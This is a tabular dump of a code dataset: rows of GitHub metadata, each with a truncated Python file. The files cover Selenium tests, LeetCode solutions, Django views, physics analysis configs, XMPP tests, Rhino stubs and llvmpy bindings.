blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
7b429ddac48dcfea2cec0687ca4d3dc280347cd5 | c105797a5b6f5aca0b892ccdadbb2697f80fb3ab | /python_base/base9/base9_6/test_base9_6_11.py | fe2bb6501a6fc686b883c0d7d97b8baf6a07368d | [] | no_license | jj1165922611/SET_hogwarts | 6f987c4672bac88b021069c2f947ab5030c84982 | fbc8d7363af0a4ac732d603e2bead51c91b3f1f7 | refs/heads/master | 2023-01-31T19:41:27.525245 | 2020-12-15T13:43:45 | 2020-12-15T13:43:45 | 258,734,624 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,095 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020-05-18
# @Author : Joey Jiang
# @File : test_9_6_11.py
# @Software : Pycharm
# @Description: 测试报告美化与定制
import pytest,allure,time
from selenium import webdriver
@allure.testcase("www.baidu.com","测试用例")
@allure.feature("百度搜索")
@pytest.mark.p... | [
"1165922611@qq.com"
] | 1165922611@qq.com |
3a1aa2983ec3d3905027310e3f59ad838039c159 | 88627f60fc6a7e56167693a55f055daa11f4f760 | /ud_359_dsintro/numpy_intro.py | e78cd7abab299f031106904ae5e0385a4ab493ba | [] | no_license | salma-shaik/datascience-projects | 3289e2c344c70c3641668e35e6baf7c9b442b554 | 6147b610a7f334dc028486a9786dc2b693b4936d | refs/heads/master | 2020-03-20T02:15:24.288863 | 2019-08-19T19:01:56 | 2019-08-19T19:01:56 | 137,105,463 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | import numpy as np
# array1 = np.array(([1, 2], [3, 4]), float)
# array2 = np.array(([5, 6], [7, 8]), float)
#
# print(array1 * array2)
# print(np.dot(array1, array2))
# array1 = np.array(([1, 2], [3, 4]), float)
# array2 = np.array([5, 6], float)
array1 = np.array([[1, 2]], float)
array2 = np.array(([2, 4, 6], [3, ... | [
"salmashaik1611@gmail.com"
] | salmashaik1611@gmail.com |
6f606ec436e46383313fa4d7661c21ac0bdd8b00 | e6d4a87dcf98e93bab92faa03f1b16253b728ac9 | /algorithms/python/subarrayProductLessThanK/subarrayProductLessThanK.py | 04d1c7a35b6791dbb628d761a6a63bfe5fe1d028 | [] | no_license | MichelleZ/leetcode | b5a58e1822e3f6ef8021b29d9bc9aca3fd3d416f | a390adeeb71e997b3c1a56c479825d4adda07ef9 | refs/heads/main | 2023-03-06T08:16:54.891699 | 2023-02-26T07:17:47 | 2023-02-26T07:17:47 | 326,904,500 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 569 | py | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
# Source: https://leetcode.com/problems/subarray-product-less-than-k/
# Author: Miao Zhang
# Date: 2021-03-03
class Solution:
def numSubarrayProductLessThanK(self, nums: List[int], k: int) -> int:
if k <= 1: return 0
res = 0
prod = 1
... | [
"zhangdaxiaomiao@163.com"
] | zhangdaxiaomiao@163.com |
132bf3793cab17555e4020af48c929502cc37f60 | c273353ab076d2ceea7cbadee82b7671c135a99e | /openprocurement/auctions/core/plugins/awarding/v3_1/includeme.py | f666e63bf7cc4052b51781aec11a120399b49ff1 | [
"Apache-2.0"
] | permissive | openprocurement/openprocurement.auctions.core | 28a77ae735e7d74674cc96f90b5b76c81defd24f | b4ed171f990e2b27b2547160df7d5ac968a1c477 | refs/heads/master | 2020-12-03T14:16:11.388446 | 2019-03-27T14:18:05 | 2019-03-27T14:18:05 | 67,410,304 | 2 | 12 | Apache-2.0 | 2022-12-20T07:48:37 | 2016-09-05T10:08:32 | Python | UTF-8 | Python | false | false | 372 | py | # -*- coding: utf-8 -*-
from openprocurement.auctions.core.plugins.awarding.base.interfaces import (
IAwardManagerAdapter,
)
def includeme(config):
from .adapters import AwardManagerV3_1Adapter
from .interfaces import IAwardV3_1
config.registry.registerAdapter(
AwardManagerV3_1Adapter,
... | [
"leitsius@gmail.com"
] | leitsius@gmail.com |
57305b92a31553988af115c88a72f37e6ce95071 | 7ee4ec31269822a1052a04e497c83a3e2c2816f9 | /python/LeetCode/Remove_items.py | 2d174fc153d04dc8e32dff7043c8be7191288522 | [] | no_license | Lizi2hua/Understanding-Python | bbda132d527f11f76e47fa3ef3f5ff7959a2acfd | 6db6990efc7c20a543598447ad91026f8edeaf09 | refs/heads/master | 2022-11-20T21:04:55.369791 | 2020-07-29T09:43:10 | 2020-07-29T09:43:10 | 262,246,884 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,099 | py | # 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。
#
# 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改输入数组。
#
# 元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。
val = 6
list = [3, 5, 6, 1, 6, 8, 1, 3, 1, 1, 6, 8, 1, 2, 4, 6, 1, 3, 2, 3]
# 1找到等于val的元素
len_l = len(list)
for i in range(len_l):
if list[i] == val:
print("i find it ... | [
"1050100964@qq.com"
] | 1050100964@qq.com |
36ce8ade49abde1d89897f00a8dca1049e493930 | 2adb627cfd97cb3b56ac85f2c1613e64ec8aff2f | /superadmin/views.py | 14651b717e3e9a22d71951da31f5a7b6289027b5 | [] | no_license | AthifSaheer/techbyheart-machine-test | 28307a103e694965df965aefc8576cd558204585 | 2cc74e4b9a5dfb3e0a73b1b36b245b8bb92d2b9b | refs/heads/main | 2023-08-31T20:12:13.082225 | 2021-10-23T01:35:48 | 2021-10-23T01:35:48 | 420,179,253 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,227 | py | from rest_framework_simplejwt.tokens import RefreshToken
from rest_framework.decorators import api_view
from rest_framework.response import Response
from django.contrib.auth.models import User, auth
from rest_framework import status
# from django.shortcuts import render
from .serializers import *
# import jwt
@api_vie... | [
"liteboook@gmail.com"
] | liteboook@gmail.com |
d75f761132e669acc7b90c1332f31cbb4f096904 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/dev/cv/image_classification/SlowFast_ID0646_for_PyTorch/detectron2/tools/convert-torchvision-to-d2.py | 8410e467e218300c4ca5fdfb2c25db846a2a99d9 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 3,292 | py | #!/usr/bin/env python
#
# BSD 3-Clause License
#
# Copyright (c) 2017 xxxx
# All rights reserved.
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of so... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
4c0005b23b8f40f04d771c979164db1ae29b113b | 20ace38b89c0ebaa0738753fcd11b0fdd4ed21cd | /CMSSW_8_0_24/src/HeavyIonsAnalysis/JetAnalysis/python/jets/akFilter4CaloJetSequence_pp_data_cff.py | 169e5eb95e3a3aa82dfa0ccddb05bdf23f80419f | [] | no_license | ssanders50/pPb_2016_v0 | 3c32c2920067a2f8a0a7a7fadba6225babf9a905 | 9fc4ae61cf4343c88ce6666f55c0738f963754a3 | refs/heads/master | 2020-12-12T16:30:41.253014 | 2020-02-14T21:51:17 | 2020-02-14T21:51:17 | 234,162,163 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,072 | py |
import FWCore.ParameterSet.Config as cms
from HeavyIonsAnalysis.JetAnalysis.patHeavyIonSequences_cff import patJetGenJetMatch, patJetPartonMatch, patJetCorrFactors, patJets
from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import *
from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import *
from RecoJets.JetPr... | [
"ssanders@ku.edu"
] | ssanders@ku.edu |
c8ccc782cf6b57a2b806f9e89af31504ca6cce17 | 78f3fe4a148c86ce9b80411a3433a49ccfdc02dd | /2015/09/energy-mix-states-20150804/graphic_config.py | 4173be4a404336282ad6336bbf5a469e779e6e34 | [] | no_license | nprapps/graphics-archive | 54cfc4d4d670aca4d71839d70f23a8bf645c692f | fe92cd061730496cb95c9df8fa624505c3b291f8 | refs/heads/master | 2023-03-04T11:35:36.413216 | 2023-02-26T23:26:48 | 2023-02-26T23:26:48 | 22,472,848 | 16 | 7 | null | null | null | null | UTF-8 | Python | false | false | 305 | py | #!/usr/bin/env python
import base_filters
COPY_GOOGLE_DOC_KEY = '1Ce8a-3Xf0soJ-J831aszj8tBaVWIRIcx3lA8pm-zALY'
USE_ASSETS = False
# Use these variables to override the default cache timeouts for this graphic
# DEFAULT_MAX_AGE = 20
# ASSETS_MAX_AGE = 300
JINJA_FILTER_FUNCTIONS = base_filters.FILTERS
| [
"ahurt@npr.org"
] | ahurt@npr.org |
2a709ee48a23394335ee65e5667fb134f52ea6f1 | 711756b796d68035dc6a39060515200d1d37a274 | /output_cog/optimized_20143.py | 7967919376e9f3598f806c5c6788a1d09c38fb3c | [] | no_license | batxes/exocyst_scripts | 8b109c279c93dd68c1d55ed64ad3cca93e3c95ca | a6c487d5053b9b67db22c59865e4ef2417e53030 | refs/heads/master | 2020-06-16T20:16:24.840725 | 2016-11-30T16:23:16 | 2016-11-30T16:23:16 | 75,075,164 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,840 | py | import _surface
import chimera
try:
import chimera.runCommand
except:
pass
from VolumePath import markerset as ms
try:
from VolumePath import Marker_Set, Link
new_marker_set=Marker_Set
except:
from VolumePath import volume_path_dialog
d= volume_path_dialog(True)
new_marker_set= d.new_marker_set
marker_set... | [
"batxes@gmail.com"
] | batxes@gmail.com |
be6ac60ba47c2e718e763dfe5af852969567622f | 677f4896f21c46aee199c9f84c012c9733ece6f6 | /ddsp/effects_test.py | 11ca2405e69b1baaf9fc23a6e069062fc2034489 | [
"Apache-2.0"
] | permissive | werkaaa/ddsp | 90b2881a350dad9f954e28ead4f145140c7d2ad4 | 92ce8724e22c17822d7f7564547733ed7fe918e2 | refs/heads/master | 2022-12-13T06:41:48.871697 | 2020-09-03T15:50:49 | 2020-09-03T15:50:49 | 286,489,693 | 0 | 0 | Apache-2.0 | 2020-08-10T13:57:00 | 2020-08-10T13:57:00 | null | UTF-8 | Python | false | false | 3,892 | py | # Copyright 2020 The DDSP Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... | [
"no-reply@google.com"
] | no-reply@google.com |
967416b13ef9967f4364b4dc3e33578734de947b | 1f1048624ee8d71101ae1127c9aa9c9dc81b857f | /pyexcel/internal/source_plugin.py | d3bd260896415040d0fae44a363a1f7a625bfb6a | [
"BSD-3-Clause"
] | permissive | netpastor/pyexcel | 434983a942de4d70549bcec578854d3da241c576 | 0c126b9e4c650c6735665c79e616546149f2b717 | refs/heads/master | 2021-01-19T10:40:19.107503 | 2017-04-10T07:04:50 | 2017-04-10T15:13:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,254 | py | """
pyexcel.internal.source_plugin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Second level abstraction
:copyright: (c) 2015-2017 by Onni Software Ltd.
:license: New BSD License
"""
from itertools import product
from collections import defaultdict
from lml.manager import PluginManager
import pyexcel_io.cons... | [
"wangc_2011@hotmail.com"
] | wangc_2011@hotmail.com |
66d6d7dbd7d7727849dbf33e2176d54c9291c8e2 | 06e897ed3b6effc280eca3409907acc174cce0f5 | /plugins/pelican_youtube/setup.py | 784b63994c035ecf13b280d6f05c8d7c0ccdaece | [
"MIT",
"AGPL-3.0-only"
] | permissive | JackMcKew/jackmckew.dev | ae5a32da4f1b818333ae15c6380bca1329d38f1e | b5d68070b6f15677a183424c84e30440e128e1ea | refs/heads/main | 2023-09-02T14:42:19.010294 | 2023-08-15T22:08:19 | 2023-08-15T22:08:19 | 213,264,451 | 15 | 8 | MIT | 2023-02-14T21:50:28 | 2019-10-07T00:18:15 | JavaScript | UTF-8 | Python | false | false | 1,540 | py | from setuptools import setup
from setuptools import find_packages
version = __import__("pelican_youtube").__version__
download_url = "https://github.com/kura/pelican_youtube/archive/{}.zip".format(version)
setup(
name="pelican_youtube",
version=version,
url="https://github.com/kura/pelican_youtube",
d... | [
"jackmckew2@gmail.com"
] | jackmckew2@gmail.com |
3396f17f1146e2cc918640d531d3ff81628fe34e | cbc0f69f3a2f171294b538d23bb1f584d4b14ce3 | /model.py | 194cd51b1867c9b00a96c88446c7affed554107a | [] | no_license | koztay/CARND_Project3 | 25d44ea828954ba47cbc0efc1b3b6aa15b11a793 | 749ad274ce9678595a85932ac5a975a16bd587a5 | refs/heads/master | 2021-01-04T02:35:28.039698 | 2017-08-09T14:35:29 | 2017-08-09T14:35:29 | 99,513,218 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,535 | py | import csv
import cv2
import numpy as np
from sklearn.utils import shuffle
from sklearn.model_selection import train_test_split
lines = []
with open('./data/driving_log.csv') as csvfile:
reader = csv.reader(csvfile)
next(reader, None) # this line makes the header line ignored
for line in reader:
l... | [
"koztay@me.com"
] | koztay@me.com |
687296c915982e3be9b74dbe18ea3728a85da092 | e23a4f57ce5474d468258e5e63b9e23fb6011188 | /125_algorithms/005_searching_and_sorting/_exercises/templates/Beat the Codility Coding Interview in Python/number_of_disc_intersections_alt.py | ba6a507980dcc581f2be3377e05cf1d74caf7719 | [] | no_license | syurskyi/Python_Topics | 52851ecce000cb751a3b986408efe32f0b4c0835 | be331826b490b73f0a176e6abed86ef68ff2dd2b | refs/heads/master | 2023-06-08T19:29:16.214395 | 2023-05-29T17:09:11 | 2023-05-29T17:09:11 | 220,583,118 | 3 | 2 | null | 2023-02-16T03:08:10 | 2019-11-09T02:58:47 | Python | UTF-8 | Python | false | false | 863 | py | # # This is the solution for Sorting > NumberOfDiscIntersections
# #
# # This is marked as RESPECTABLE difficulty
#
# c_ Disc
# ___ - low_x high_x
# ? ?
# ? ?
#
# ___ index_less_than sortedDiscList i start last
# mid _ s.. + |l.. - s.. // 2
# __ l.. <_ s.. an. s.. |m__.l.. > i
# r_ m... | [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
5d847c81731d450ae94d4e244e449e3f1720ac57 | 6d85d154048d526c9b073b7a75c0ca6298111ded | /nadine/management/commands/billing_batch_run.py | 22b4919e585f84f15a076ae3d704804ffacf235c | [
"Apache-2.0"
] | permissive | switchdin/nadine | 02595a0a749e97840c756e23827793a5d732de0f | 42b4377d7a5f64320d83c4d5f27981428a111e1f | refs/heads/master | 2021-05-06T17:56:31.441213 | 2017-11-24T00:47:51 | 2017-11-24T00:47:51 | 111,856,045 | 0 | 0 | null | 2017-11-24T00:28:34 | 2017-11-23T22:54:23 | JavaScript | UTF-8 | Python | false | false | 2,245 | py | from __future__ import print_function
from datetime import datetime
from django.core.management.base import BaseCommand
from nadine.models.billing import BillingBatch, UserBill
class Command(BaseCommand):
requires_system_checks = True
help = "Runs the billing batch."
def add_arguments(self, parser):
... | [
"jsayles@gmail.com"
] | jsayles@gmail.com |
976334fcc5db59686c520f8bec4cc57b272865e6 | ffb5f29f4f6f751603f9013d57ea74d5cca40303 | /wokkel/test/test_xmppim.py | 623eda3d1bd744224009619a2d29c657012f4e1f | [
"MIT"
] | permissive | ggozad/wokkel | b3904fecb26282bbdc4f4090b808365af5e137e7 | bb83eb66896e99848d4426f6dc8b23b88f0b35bc | refs/heads/master | 2020-12-25T02:40:07.212269 | 2012-05-15T12:43:37 | 2012-05-15T12:43:37 | 1,732,451 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 42,585 | py | # Copyright (c) Ralph Meijer.
# See LICENSE for details
"""
Tests for L{wokkel.xmppim}.
"""
from twisted.internet import defer
from twisted.trial import unittest
from twisted.words.protocols.jabber import error
from twisted.words.protocols.jabber.jid import JID
from twisted.words.protocols.jabber.xmlstream import toR... | [
"ralphm@ik.nu"
] | ralphm@ik.nu |
b7aaa56c625d4c68ce805e97b891a600313e56c3 | 3520f9f1b6d804a6d95233493972bf04dca67fb4 | /revisited__2021/arrays/container_with_most_water.py | a703d502140c9843b981dca979cc53974469207d | [] | no_license | Shiv2157k/leet_code | 8691a470148809f0a7077434abdc689f33958f34 | 65cc78b5afa0db064f9fe8f06597e3e120f7363d | refs/heads/master | 2023-06-17T02:59:20.892561 | 2021-07-05T16:42:58 | 2021-07-05T16:42:58 | 266,856,709 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 759 | py | from typing import List
class WaterContainer:
def with_most_water(self, height: List[int]) -> int:
"""
Approach: Two Pointers
Time Complexity: O(N)
Space Complexity: O(1)
:param height:
:return:
"""
left, right = 0, len(height) - 1
area = 0
... | [
"shiv2157.k@gmail.com"
] | shiv2157.k@gmail.com |
cb20dee51b39ae122cd0fe5f7851cce84aabc7dc | aa265e03e73f718d4008cfe30ada7ee32c852eec | /ABC_B/ABC107_B.py | e7522c315bc219e92f1c00084adb0d6c0f4fd7ee | [
"MIT"
] | permissive | ryosuke0825/atcoder_python | 4fb9de9733cd9ef41c2ad9ad38b3f190f49d3ad5 | 52d037d0bc9ef2c721bf2958c1c2ead558cb0cf5 | refs/heads/master | 2023-03-11T22:47:56.963089 | 2023-03-05T01:21:06 | 2023-03-05T01:21:06 | 181,768,029 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 480 | py | H, W = map(int, input().split())
a = []
for i in range(H):
tmp = list(input())
if "#" in tmp:
a.append(tmp)
w_check = [True] * W
for i in range(len(a)):
for j in range(W):
if a[i][j] == "#":
w_check[j] = False
ans = [[] for i in range(len(a))]
for i in range(len(a)):
for j ... | [
"ayakobon@gmail.com"
] | ayakobon@gmail.com |
1fb61081902189f255fc30e6b8c6950fb052a24b | b1cf77a72aff36e351a9f3515ac9343412dc412c | /tests/test_rfc3709.py | e1153916a77a9de4af3bebc63fc30e03f8107362 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | permissive | Jamim/pyasn1-modules | 7b180a8e842d8591baffc52f6f9f2e9260bfa953 | 7fafbf8550ab9e8727274903ed96ae849cd24594 | refs/heads/master | 2020-08-17T11:12:17.296869 | 2019-10-15T14:54:03 | 2019-10-15T14:54:03 | 215,657,414 | 0 | 0 | BSD-2-Clause | 2019-10-16T22:44:03 | 2019-10-16T22:44:02 | null | UTF-8 | Python | false | false | 3,526 | py | #
# This file is part of pyasn1-modules software.
#
# Copyright (c) 2019, Vigil Security, LLC
# License: http://snmplabs.com/pyasn1/license.html
#
import sys
from pyasn1.codec.der import decoder as der_decoder
from pyasn1.codec.der import encoder as der_encoder
from pyasn1_modules import pem
from pyasn1_modules impor... | [
"etingof@gmail.com"
] | etingof@gmail.com |
f3ff67efa372fbc998293f9d296040d823b39f23 | 98bc4630f37995e9fb6a2986b729031a06db7879 | /BookReviews/apps/books_app/views.py | a4413d47872d8ebe3956ffae26de89f92b1f3de7 | [] | no_license | dusty-g/DjangoAssignments | 58bed45797005832a11ede4bf1059acea3b5e5ba | 52d6852e294263707ffc9324de8b0df308ce108d | refs/heads/master | 2021-01-19T21:19:14.575570 | 2017-05-01T23:26:12 | 2017-05-01T23:26:12 | 88,639,280 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,307 | py | from django.shortcuts import render, redirect
from django.core.urlresolvers import reverse
from .models import Book, Review, Author
def books(request):
print 'made it to the books app'
print request.session['username']
recent_reviews = Review.objects.all().order_by('-created_at')
all_books = Book.objec... | [
"dustygalindo@gmail.com"
] | dustygalindo@gmail.com |
b9b698dbb4d541a8c66826c2e9491982ecb389e3 | acb8e84e3b9c987fcab341f799f41d5a5ec4d587 | /langs/3/h1j.py | 264503a625d3f444c62c1cde4d7997ca3d169fc6 | [] | no_license | G4te-Keep3r/HowdyHackers | 46bfad63eafe5ac515da363e1c75fa6f4b9bca32 | fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2 | refs/heads/master | 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
... | [
"juliettaylorswift@gmail.com"
] | juliettaylorswift@gmail.com |
307ab41b44d28b87bf6821a5447b5809b4a53f43 | ab8fd92178132520112ea4c5b63b02a158786728 | /stubs/Rhino/Rhino-stubs/ApplicationSettings/__init__.pyi | 9682fb22d77fd6bd48fc952fb1821964349c00c0 | [
"MIT"
] | permissive | ranjeethmahankali/pythonstubs | 362f6abb17c6b2cf5885087a353fc56a7511cb6b | 0a16a43545b0b9a291dba6433ba4295377dc35d7 | refs/heads/master | 2020-12-03T14:29:21.175516 | 2020-01-02T10:14:56 | 2020-01-02T10:14:56 | 231,354,356 | 0 | 0 | MIT | 2020-01-02T10:00:18 | 2020-01-02T10:00:17 | null | UTF-8 | Python | false | false | 44,142 | pyi | from typing import Tuple, Set, Iterable, List
class AppearanceSettings:
@property
def CommandPromptBackgroundColor() -> Color: ...
@property
def CommandPromptHypertextColor() -> Color: ...
@property
def CommandPromptPosition() -> CommandPromptPosition: ...
@property
def CommandPromptTe... | [
"steve@mcneel.com"
] | steve@mcneel.com |
3f2ce9428049065422d6ee590d5487cec193f012 | 2534803a09f5a6676ccece4519a2b8faaea9329d | /zeno/server/client_authn.py | d6164b18dd0c77bfb205d365d9e28fd0faa66340 | [
"Apache-2.0"
] | permissive | SmithSamuelM/plenum | c41ccb849cd1113ba8496fa8bd9b0c5336ee9878 | 2675523f8718d6f240027582bc90c76b4f80c105 | refs/heads/master | 2021-01-15T23:35:53.640499 | 2016-02-16T05:01:22 | 2016-02-16T05:01:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,147 | py | """
Clients are authenticated with a digital signature.
"""
from base64 import b64decode
from typing import Dict
from typing import Mapping
from raet.nacling import Verifier
from zeno.common.exceptions import InvalidSignature, EmptySignature, MissingSignature, EmptyIdentifier, \
MissingIdentifier, InvalidIdentifi... | [
"jason@evernym.us"
] | jason@evernym.us |
9e4f79414f552407f60f20561722a17e948aec7a | ccbc6a8fa9709cb483446af01504b0071b1a0c5e | /main1.py | 779824e38e7464a8c9e8943a06410499672a998f | [] | no_license | formazione/pygame_components | ddc85a66d634ee379c9a93aecbd154a4dbd26a53 | e19301f1fd47fbdc31bf9b559ff3c76d9b007204 | refs/heads/master | 2023-07-01T03:13:17.414776 | 2023-06-08T16:28:42 | 2023-06-08T16:28:42 | 286,677,963 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 73 | py | from components import move_surface as movements
movements.movements()
| [
"gatto.gio@gmail.com"
] | gatto.gio@gmail.com |
1c93a8368e32a376a6609e93cb11c6070159ce48 | 3b786d3854e830a4b46ee55851ca186becbfa650 | /SystemTesting/pylib/vmware/nsx/manager/bridge_cluster/api/nsx70_crud_impl.py | e3e3cf23ac2ba6cb396ad05c4272c2fed99b094f | [] | no_license | Cloudxtreme/MyProject | d81f8d38684333c22084b88141b712c78b140777 | 5b55817c050b637e2747084290f6206d2e622938 | refs/heads/master | 2021-05-31T10:26:42.951835 | 2015-12-10T09:57:04 | 2015-12-10T09:57:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 563 | py | import vmware.nsx_api.manager.bridgecluster.bridgecluster\
as bridgecluster
import vmware.nsx_api.manager.bridgecluster.schema.bridgecluster_schema\
as bridgecluster_schema
import vmware.nsx.manager.api.base_crud_impl as base_crud_impl
class NSX70CRUDImpl(base_crud_impl.BaseCRUDImpl):
_attribute_map = {... | [
"bpei@vmware.com"
] | bpei@vmware.com |
68f4b984849cf6136e8307e14e9081f7c105d46d | de6fb3a55196b6bd36a4fda0e08ad658679fb7a1 | /optin_manager/src/python/openflow/optin_manager/sfa/openflow_utils/expiration_manager.py | ed72e34050e7a0e9d7154be32a83109cc9108d90 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | dana-i2cat/felix | 4a87af639e4c7db686bfa03f1ae4ce62711615e3 | 059ed2b3308bda2af5e1942dc9967e6573dd6a53 | refs/heads/master | 2021-01-02T23:12:43.840754 | 2016-02-04T10:04:24 | 2016-02-04T10:04:24 | 17,132,912 | 4 | 4 | null | null | null | null | UTF-8 | Python | false | false | 1,328 | py |
from datetime import datetime
from openflow.optin_manager.sfa.util.sfatime import utcparse, datetime_to_epoch
from openflow.optin_manager.sfa.models import ExpiringComponents
#from openflow.optin_manager.sfa.drivers.OFSfaDriver import OFSfaDriver
class ExpirationManager:
@staticmethod
def extend_expiration(s... | [
"jenkins@integration.localhost"
] | jenkins@integration.localhost |
1fadf2e0267eaa079536c0f93d8b8ec00e62ecd9 | c8cedc80a7408dc96031f986aa256833fd035a2c | /ex48/lexicon.py | db5e1e27484371deb7836e451858fba2bb139345 | [] | no_license | asabnis7/python-basics | ed0c4ca15604b4f7c4718092798beea5afb14ed7 | c68e8f290f51a338b42e5eb74afe15c8fe11aa85 | refs/heads/master | 2020-03-28T16:14:15.151061 | 2018-10-15T05:14:42 | 2018-10-15T05:14:42 | 148,672,911 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,365 | py | def convert_num(s):
try:
return int(s)
except ValueError:
return None
def scan(raw):
lexicon = [('direction','north'),
('direction','south'),
('direction','east'),
('direction','west'),
('direction','down'),
('direction','up'),
('direction','left'),
('direction'... | [
"github-noreply@oit.gatech.edu"
] | github-noreply@oit.gatech.edu |
be1771dc13deb9eb158bf96ebd6ed07a6649df85 | 16807220b95bf9a559b97ec0de16665ff31823cb | /locator/locator.py | a1e8ddb8fb37f1a71b0985a0366ab1ccb8c75f46 | [
"BSD-3-Clause"
] | permissive | cuauv/software | 7263df296e01710cb414d340d8807d773c3d8e23 | 5ad4d52d603f81a7f254f365d9b0fe636d03a260 | refs/heads/master | 2021-12-22T07:54:02.002091 | 2021-11-18T01:26:12 | 2021-11-18T02:37:55 | 46,245,987 | 76 | 34 | null | 2016-08-03T05:31:00 | 2015-11-16T02:02:36 | C++ | UTF-8 | Python | false | false | 16,537 | py | '''
This file runs analysis on the vision output from buoys (or other things)
to determine where the buoy is most likely to be.
This outputs as the mission's tagged location the location where it is
most likely to find the buoy.
We keep a grid storing a top-down view of the area where we think the buoy is.
Vision resu... | [
"leader@cuauv.org"
] | leader@cuauv.org |
60275c4d923e33044725c86e9507883d0365b162 | b8a803694c283a5acd13ab6760a36710884ab24f | /llvmpy/src/DebugInfo.py | b316c62ea666f201123de50bc002f17abab8e1ef | [
"NCSA",
"BSD-3-Clause"
] | permissive | llvmpy/llvmpy | 8a4c31e731364ead802231b97e058b8f8c444f96 | 13130fe35f1fb03a7051ad46c36146002391a6fa | refs/heads/master | 2016-09-05T16:48:54.694686 | 2015-04-28T16:21:34 | 2015-04-28T16:21:34 | 3,375,197 | 155 | 13 | null | 2015-05-27T18:36:45 | 2012-02-07T07:09:59 | HTML | UTF-8 | Python | false | false | 2,099 | py | from binding import *
from .namespace import llvm
from .ADT.StringRef import StringRef
from .Value import MDNode
DIDescriptor = llvm.Class()
DIEnumerator = llvm.Class(DIDescriptor)
DIScope = llvm.Class(DIDescriptor)
DIType = llvm.Class(DIScope)
DIBasicType = llvm.Class(DIType)
DIDerivedType = llvm.Class(DIType)
DICom... | [
"michael.lam.sk@gmail.com"
] | michael.lam.sk@gmail.com |
ed560d500e585fd2a8b3c93f26c1f5d543a83269 | d35ef50f73feff93f78a706a9e945ddd6cbbc63d | /vilya/libs/dbclient.py | 70ec4ef75aef7d90baa703eea99cb5087b31d328 | [
"BSD-3-Clause"
